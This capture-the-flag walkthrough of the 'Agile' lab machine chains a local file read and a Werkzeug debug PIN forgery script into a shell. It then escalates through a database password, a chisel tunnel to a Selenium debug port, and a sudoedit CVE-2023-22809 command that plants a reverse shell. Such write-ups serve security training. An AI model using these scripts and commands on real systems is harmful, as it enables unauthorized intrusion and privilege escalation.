Agile involved using Local File Read (LFR) to read the source files with debug mode enabled, allowing to access werkzeug console by reading files responsible for generating PIN, having access to the console, getting a shell as www-data
and escalating to corum
user by accessing the database to retrieve the password, further escalating to edwards
by port forwarding Selenium port to inspect a testing page of the application, getting the password and finally escalating to root by abusing python virtual environment activation script through sudoedit (CVE 2023–22809).
NMAP
Nmap scan report for superpass.htb (10.10.11.203)
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: SuperPassword \xF0\x9F\xA6\xB8
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Visiting the web server, it was redirecting to a domain, to adding superpass.htb
in /etc/hosts
file
On the login page, I tried the default credentials admin:admin
for quick win but failed, tried sqli as well but that didn't worked as well
We can register an account on the site so let’s do that
Adding a password and then exporting it
We can intercept the request for this action to see how it’s exporting it
In the fn
GET parameter, we can test for Local File Read
If we try reading a file which does not exist, it will show stack traces meaning that flask is running debug mode
If we see the debug errors, we can access the console by clicking on the terminal icon but it will access for the PIN,
Foothold
Since we can read local files, we can try to generate the PIN by reading specific files which are used for generating Werkzeug console PIN. So we first we must identify, with which user this application is running, we can read /proc/self/environ
to verify that the application is running as www-data
Next we need is mac address from /sys/class/net/eth0/address
Reading /etc/machine-id
Reading /proc/self/cgroup
Having all the variables set in the script
#!/bin/python3
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345052373872',
# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'ed5b159560f54721827644bc9b220d00superpass.service'
]
h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("Pin: " + rv)
Entering this pin on the prompt, we’ll get access to the console and can run commands to get a reverse shell
After having the shell, we can find the credentials to database
Privilege Escalation (Corum)
From passwords
table we can find passwords along with username corum
On trying each of them, 5db7caa1d13cc37c9fc2
was the correct password for corum
Running pspy
we can see this script gets executed with runner
user
Looking at the test_and_update.sh
file it’s running pytest in /app/app-testing
In /aap/app-testing/test/functioanl
, there's a python file which is using selenium
Privilege Escalation (Edwards)
It’s opening cred.txt
file and using remote debugging at port 41829 sending username and password through that txt file, so we need to attach our browser to this remote debugging that can be done through port forwarding with chisel
, also adding test.superpass.htb
in hosts file
chisel server -p 3333 --reverse
chisel client 10.10.14.83:3333 R:localhost:41829
In chrome browser we need to add the debugging port by going to chrome://inspect
After adding this, we’ll get a SuperPassword
page to inspect
Going to the vault, it will show us two credentials
We can switch to edwards
user with his password
Running sudo -l
to see what permissions we have
This user can run sudoedit
as dev_admin
user, there exists a CVE for sudoedit (2023–22809) that allows you to edit files, searching for files owned by dev_admin
to edit
find / -group "dev_admin" 2>/dev/null | grep -v '/proc'
activate
file is owned by dev_admin
group which is a script triggered on activating python virtual environment
We need to place a reverse shell in that file, so abusing sudoedit
EDITOR="nano -- /app/venv/bin/activate" sudo -u 'dev_admin' sudoedit /app/config_test.json
After editing, we need to wait for a while